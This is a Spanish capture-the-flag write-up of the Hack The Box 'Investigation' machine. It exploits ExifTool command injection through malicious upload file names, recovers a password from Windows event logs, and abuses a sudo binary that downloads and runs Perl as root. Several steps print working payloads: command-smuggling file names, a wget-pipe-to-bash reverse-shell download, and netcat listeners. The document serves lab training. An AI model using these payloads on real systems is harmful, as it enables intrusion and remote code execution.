This page looks best with JavaScript enabled

Hack The Box - Investigation

 •  ✍️ sckull

Investigation presenta un sitio que permite analizar los metadatos de una imagen mediante ExifTool, encontramos que la version es vulnerable lo que nos permitio acceder a la maquina. Tras analizar un archivo de Eventos de Windows encontramos credenciales para un segundo usuario. Finalmente escalamos privilegios tras analizar el codigo fuente de un ejecutable con Ghidra.

Nombre Investigation box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.197
Maker

Derezzed

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.4, 4.9, 5.3, 4.7, 5.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.93 scan initiated Fri Mar  3 21:23:49 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.197
Nmap scan report for 10.10.11.197
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
|   256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_  256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://eforenzics.htb/
Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  3 21:23:58 2023 -- 1 IP address (1 host up) scanned in 9.44 seconds

Web Site

El sitio web nos redirige al dominio eforenzics.htb. Agregamos el dominio al archivo /etc/hosts.

1
2
3
4
5
6
7
8
➜  investigation curl -sI 10.10.11.197
HTTP/1.1 301 Moved Permanently
Date: Thu, 26 Jan 2023 21:15:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://eforenzics.htb/
Content-Type: text/html; charset=iso-8859-1

➜  investigation

El sitio a simple vista parece ser estatico.

image

Si nos dirigimos al ‘Free Services’ nos muestra un formulario para subir archivos para realizar un analisis forense, unicamente imagenes.

image

El formulario envia el archivo a upload.php por medio del metodo POST.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<div class="col-md-5 d-none d-md-block">
    <form method="post" enctype="multipart/form-data" action="upload.php">
            <div class="col-md-6">
                <div class="form-group pb-1">
                    <input type="file" name="image">
                </div>
            </div>
        <input type="submit" class="btn btn-outline-light btn-flat" name="upload" value="Upload" <span style="margin-left:1em">
    </form>
    </div>
    </form> 
</div>

Directory Brute Forcing

feroxbuster muestra algunas de las paginas que ya visitamos y conocemos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 π ~/htb/investigation ❯ feroxbuster -w $MD -u http://eforenzics.htb/ --depth 2 -x php,html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://eforenzics.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      208l      629w    10957c http://eforenzics.htb/
403      GET        9l       28w      279c http://eforenzics.htb/.php
200      GET      208l      629w    10957c http://eforenzics.htb/index.html
403      GET        9l       28w      279c http://eforenzics.htb/.html
301      GET        9l       28w      317c http://eforenzics.htb/assets => http://eforenzics.htb/assets/
200      GET       82l      198w        0c http://eforenzics.htb/upload.php
200      GET       91l      227w     4335c http://eforenzics.htb/service.html
301      GET        9l       28w      321c http://eforenzics.htb/assets/css => http://eforenzics.htb/assets/css/
301      GET        9l       28w      322c http://eforenzics.htb/assets/imgs => http://eforenzics.htb/assets/imgs/
301      GET        9l       28w      320c http://eforenzics.htb/assets/js => http://eforenzics.htb/assets/js/
301      GET        9l       28w      325c http://eforenzics.htb/assets/vendors => http://eforenzics.htb/assets/vendors/
403      GET        9l       28w      279c http://eforenzics.htb/server-status

User - www-data

ExifTool

Al subir una imagen nos muestra un mensaje sobre un reporte y un enlace hacia el mismo.

image

Al visitar el enlace vemos que es un archivo de texto con informacion de los metadatos de la imagen. Se muestra que la herramienta utilizada es exiftool y la version es 12.37.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 π ~/htb/investigation ❯ curl -s http://eforenzics.htb/analysed_images/avatarjpg.txt
ExifTool Version Number         : 12.37
File Name                       : avatar.jpg
Directory                       : .
File Size                       : 16 KiB
File Modification Date/Time     : 2023:03:04 02:33:29+00:00
File Access Date/Time           : 2023:03:04 02:33:29+00:00
File Inode Change Date/Time     : 2023:03:04 02:33:29+00:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 250
Image Height                    : 250
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 250x250
Megapixels                      : 0.062
 π ~/htb/investigation ❯

Command Injection

Una busqueda sobre vulnerabilidades que afectan a esta version nos llevo al CVE-2022-23935 el cual describe la posibilidad de Command Injection, ademas encontramos un Gist en el que se explica la vulnerabilidad y un PoC. Utilizando el caracter | en el nombre del archivo permitiria ejecutar comandos.

Creamos un archivo con un archivo que contiene el comando para realizar un ping a nuestra maquina, o simplemente cambiar el nombre del archivo por medio de BurpSuite.

1
➜  investigation mv avatar1.jpg 'ping -c 2 10.10.14.207 |'

El archivo generado por exiftool muestra el nombre del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
➜  investigation curl -s http://eforenzics.htb/analysed_images/pingc2101014207.txt
ExifTool Version Number         : 12.37
File Name                       : ping -c 2 10.10.14.207 |
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2023:01:26 21:27:50+00:00
File Access Date/Time           : 2023:01:26 21:27:50+00:00
File Inode Change Date/Time     : 2023:01:26 21:27:50+00:00
File Permissions                : prw-------
File Type                       : TXT
File Type Extension             : txt
MIME Type                       : text/plain
MIME Encoding                   : us-ascii
Newlines                        : Unix LF
Line Count                      : 7
Word Count                      : 43
➜  investigation

Por otro lado, luego de ejecutar tcpdump obtuvimos pings desde la maquina.

1
2
3
4
5
6
7
➜  investigation sudo tcpdump -i tun1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
15:27:55.062939 IP eforenzics.htb > 10.10.14.207: ICMP echo request, id 2, seq 1, length 64
15:27:55.062960 IP 10.10.14.207 > eforenzics.htb: ICMP echo reply, id 2, seq 1, length 64
15:27:56.065319 IP eforenzics.htb > 10.10.14.207: ICMP echo request, id 2, seq 2, length 64
15:27:56.065367 IP 10.10.14.207 > eforenzics.htb: ICMP echo reply, id 2, seq 2, length 64

Shell

creamos un archivo con shells inversa con shells, lo guardamos en un servidor http de python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
➜  www wget 10.10.14.207/10.10.14.207:1335 -O shell
--2023-01-26 15:36:48--  http://10.10.14.207/10.10.14.207:1335
Connecting to 10.10.14.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3810 (3.7K) [text/plain]
Saving to: ‘shell’

shell                  100%[============================>]   3.72K  --.-KB/s    in 0s

2023-01-26 15:36:48 (124 MB/s) - ‘shell’ saved [3810/3810]

➜  www ls
shell
➜  www
➜  www mv shell index.html
➜  www httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Cambiamos de nombre al archivo para descargar y ejecutar el archivo.

1
2
# file name
wget 10.10.14.207 -O id && bash id |

Tras un momento logramos obtener una shell inversa como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
➜  investigation rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from eforenzics.htb [10.10.11.197] 60368
can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@investigation:~/uploads/1674769169$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/uploads/1674769169
www-data@investigation:~/uploads/1674769169$

En upload.php vemos que exiftool es ejecutado sobre todas las imagenes de un folder temporal enviando el resultado a un archivo de texto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
www-data@investigation:~/html$ cat upload.php
<!DOCTYPE html>
<html lang="en">

[ ... ]
			<?php
				if (isset($_POST['upload']) && $_FILES['image']['error']==0) {
					$allow_type = array('image/jpeg','image/png');
					$image_name = $_FILES['image']['name'];
					$original_name = $image_name;
					$sanitised = preg_replace('/[^a-zA-Z0-9]+/', '', $original_name);
					$image_type = getimagesize($_FILES['image']['tmp_name']);
					$image_name = explode('.',$image_name);
					$folder=time();

					if(in_array($image_type['mime'], $allow_type)){
						list($width, $height, $mime) = getimagesize($_FILES['image']['tmp_name']);

						if ($width>0 && $height>0) {
							mkdir("/var/www/uploads/$folder");
							$upload = move_uploaded_file($_FILES['image']['tmp_name'], '/var/www/uploads/'.$folder.'/'.$_FILES['image']['name']);

							if ($upload) {
								echo '<p>'.$sanitised.' has been uploaded. The analysis report can be viewed <a href=analysed_images/'.$sanitised.'.txt>here</a> </p>';
								echo '<p>Please save this report as it will only be available for the next five minutes</p>';
								$folder = "/var/www/uploads/$folder";
								$cmd = "cd $folder && /opt/exiftool/exiftool * > /var/www/html/analysed_images/$sanitised.txt";
								shell_exec($cmd);
							}
						} else {
							echo 'Error: Only JPEG and PNG are allowed';
						}
					} else {
						echo 'Error: Only JPEG and PNG are allow';
					}
				
				}else {
					echo 'Error: Invalid File Type!';
				}
			?>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </header>

    [ ... ]

</body>
</html>
www-data@investigation:~/html$

User - Smorton

En el archivo /etc/passwd descubrimos al usuario smorton, buscamos archivos y directorios a los que este usuario tiene acceso. Observamos que existe un archivo con extension msg.

1
2
3
4
5
6
7
8
9
www-data@investigation:~$ find / -user smorton 2>/dev/null|grep -v proc
/home/smorton

[...]

/run/user/1000
/usr/local/investigation/Windows Event Logs for Analysis.msg
/dev/pts/2
www-data@investigation:~$

Segun el comando file contiene un log de eventos de Windows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
www-data@investigation:/usr/local/investigation$ ls -lah
total 1.3M
drwxr-xr-x  2 root     root     4.0K Sep 30 23:43  .
drwxr-xr-x 11 root     root     4.0K Aug 27 21:54  ..
-rw-rw-r--  1 smorton  smorton  1.3M Oct  1 00:35 'Windows Event Logs for Analysis.msg'
-rw-rw-r--  1 www-data www-data    0 Oct  1 00:40  analysed_log
www-data@investigation:/usr/local/investigation file 'Windows Event Logs for Analysis.msg'
<igation$ file 'Windows Event Logs for Analysis.msg'
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message
www-data@investigation:/usr/local/investigation$

Obtuvimos este archivo localmente.

1
2
3
4
5
➜  www ls -lah file.msg
-rw-r--r-- 1 kirby kirby 1.3M ene 26 15:47 file.msg
➜  www file file.msg
file.msg: CDFV2 Microsoft Outlook Message
➜  www

Como lo sugiere un usuario en superuser convertimos este archivo a eml para poder observar su contenido como un correo.

1
2
3
4
5
6
➜  www ls file.msg
file.msg
➜  www msgconvert --outfile file.eml file.msg
➜  www file file.eml
file.eml: ASCII text, with CRLF line terminators
➜  www

Al ser un archivo eml, este contiene la estructura de un email.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
➜  www head -n 35 file.eml
Date: Tue, 16 Sept 2022 00:30:29 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=16747697951.e0C5.30607
Content-Transfer-Encoding: 7bit
Subject: Windows Event Logs for Analysis
From: Thomas Jones <thomas.jones@eforenzics.htb>
To: Steve Morton <steve.morton@eforenzics.htb>
Thread-Topic: Windows Event Logs for Analysis
Accept-Language: en-US
Content-Language: en-US


--16747697951.e0C5.30607
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16747697950.60Df5bdBB.30607
Content-Transfer-Encoding: 7bit


--16747697950.60Df5bdBB.30607
Content-Type: text/plain; charset=ISO-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.

Regards.
Tom

--16747697950.60Df5bdBB.30607
Content-Type: application/rtf
Content-Disposition: inline
Content-Transfer-Encoding: base64

Thunderbird

Utilizando Thunderbird abrimos el archivo, el cual nos muestra un correo que explica sobre un archivo de log para ser analizado. Ademas hay un archivo adjunto: evtx-log.zip.

image

Al descomprimir el archivo vemos un archivo evtx de eventos de windows.

1
2
3
4
5
6
➜  www unzip evtx-logs.zip
Archive:  evtx-logs.zip
  inflating: security.evtx
➜  www file security.evtx
security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013
➜  www

Windows Event Log

Utilizando una maquina Windows analizamos el archivo, observando los diferentes eventos encontramos un evento que contiene el nombre de un usuario inusual.

image

1
Def@ultf0r3nz!csPa$$

Intentamos utilizar este usuario como contraseña para el usuario smorton la cual funciono.

1
2
3
4
5
6
www-data@investigation:/usr/local/investigation$ su smorton
Password: Def@ultf0r3nz!csPa$$
smorton@investigation:/usr/local/investigation$ whoami;id
smorton
uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)
smorton@investigation:/usr/local/investigation$

Logrando asi acceder a nuestra flag user.txt.

1
2
3
4
5
6
smorton@investigation:/usr/local/investigation$ cd
smorton@investigation:~$ ls
libcurl-gnutls.so.4  pawnd.pl  user.txt
smorton@investigation:~$ cat user.txt
38d611d9772b12a78cac609f27409f50
smorton@investigation:~$

Privesc

Al ejecutar sudo observamos que el usuarios morton puede ejecutar como root el archivo binary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
smorton@investigation:~$ sudo -l -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/bin/binary
smorton@investigation:~$ sudo /usr/bin/binary
Exiting...
smorton@investigation:~$ file /usr/bin/binary
/usr/bin/binary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a703575c5c944bfcfea8a04f0aabaf0b4fa9f7cb, for GNU/Linux 3.2.0, not stripped
smorton@investigation:~$

Al ejecutar strings sobre el archivo vemos el uso de curl, perl y el comando rm.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
smorton@investigation:~$ strings /usr/bin/binary
/lib64/ld-linux-x86-64.so.2
libcurl-gnutls.so.4
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
curl_easy_cleanup
curl_easy_init
curl_easy_setopt
curl_easy_perform
libc.so.6
setuid
exit
fopen
puts
fclose
malloc
system
getuid
__cxa_finalize
strcmp
__libc_start_main
snprintf
GLIBC_2.2.5
CURL_GNUTLS_3
u+UH
[]A\A]A^A_
Exiting...
lDnxUysaQn
Running...
perl ./%s
rm -f ./lDnxUysaQn
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
binary.c
_curl_easy_setopt_err_long
_curl_easy_setopt_err_curl_off_t
_curl_easy_setopt_err_string

[.. snip ..]

.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
smorton@investigation:~$

Ghidra

Al analizar el archivo con ghidra obtuvimos el codigo fuente del archivo binary.

image

Tras analizar el codigo en Ghidra encontramos que:

  • Debe de ser ejecutado como root.
  • Debe de tenener dos argumentos o el programa muere.
  • El segundo argumento debe de ser la string ’lDnxUysaQn’
  • Si lo anterior es correcto, crea una petición utilizando curl, tomando como url el primer argumento, el segundo argumento lo toma para guardar el contenido de la petición. Seguidamente si la petición se realizó con exito, ejecuta perl sobre el archivo donde se guardó el contenido, es decir ’lDnxUysaQn’, finalmente elimina el archivo mencionado utilizando ‘rm -f ./lDnxUysaQn’.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
undefined8 main(int param_1,long param_2)

{
  __uid_t _Var1;
  int var_two;
  FILE *__stream;
  undefined8 var_three;
  char *__s;
  char *__s_00;
  
  if (param_1 != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  var_two = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
  if (var_two != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
  var_three = curl_easy_init();
  curl_easy_setopt(var_three,0x2712,*(undefined8 *)(param_2 + 8));
  curl_easy_setopt(var_three,0x2711,__stream);
  curl_easy_setopt(var_three,0x2d,1);
  var_two = curl_easy_perform(var_three);
  if (var_two == 0) {
    var_two = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)var_two + 1);
    snprintf(__s,(long)var_two + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    var_two = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)var_two + 1);
    snprintf(__s_00,(long)var_two + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(var_three);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Command Execution

Como sabemos el archivo de la petición es ejecutado por perl, es por ello que creamos un archivo el cual contenga codigo perl, en este caso una prueba para crear un archivo temporal, colocandolo en un servidor http.

1
system('touch /tmp/create_file')

Solo queda ejecutar el binario con la dirección url y archivo que contiene codigo perl. Observamos que el archivo lo creo el usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
smorton@investigation:/dev/shm$ sudo /usr/bin/binary "10.10.14.207/file.txt" lDnxUysaQn
Running...
smorton@investigation:/dev/shm$ ls -lah /tmp/
total 52K
drwxrwxrwt 13 root root 4.0K Jan 27 01:22 .
drwxr-xr-x 18 root root 4.0K Jan  9 16:53 ..
drwxrwxrwt  2 root root 4.0K Jan 27 01:13 .ICE-unix
drwxrwxrwt  2 root root 4.0K Jan 27 01:13 .Test-unix
drwxrwxrwt  2 root root 4.0K Jan 27 01:13 .X11-unix
drwxrwxrwt  2 root root 4.0K Jan 27 01:13 .XIM-unix
drwxrwxrwt  2 root root 4.0K Jan 27 01:13 .font-unix
-rw-r--r--  1 root root    0 Jan 27 01:22 create_file
drwx------  3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-ModemManager.service-0Edlwi
drwx------  3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-apache2.service-BOcwzg
drwx------  3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-logind.service-riRTng
drwx------  3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-resolved.service-lavR7g
drwx------  3 root root 4.0K Jan 27 01:13 systemd-private-0e96e5020fe445b0b5f620440bc6af6f-systemd-timesyncd.service-EpUhJh
drwx------  2 root root 4.0K Jan 27 01:14 vmware-root_734-2991268422
smorton@investigation:/dev/shm$

Shell

Modificamos el codigo perl para ejecutar una shell inversa con shells.

1
system("wget -qO- 10.10.14.207/10.10.14.207:1335|bash")

Tras ejecutar el archivo obtuvimos una shell root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
➜  www rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from eforenzics.htb [10.10.11.197] 47008
# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/dev/shm
# cd
# ls
root.txt
# cat root.txt
1ae6c314a10a363be69ebb8145fa3ac6
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe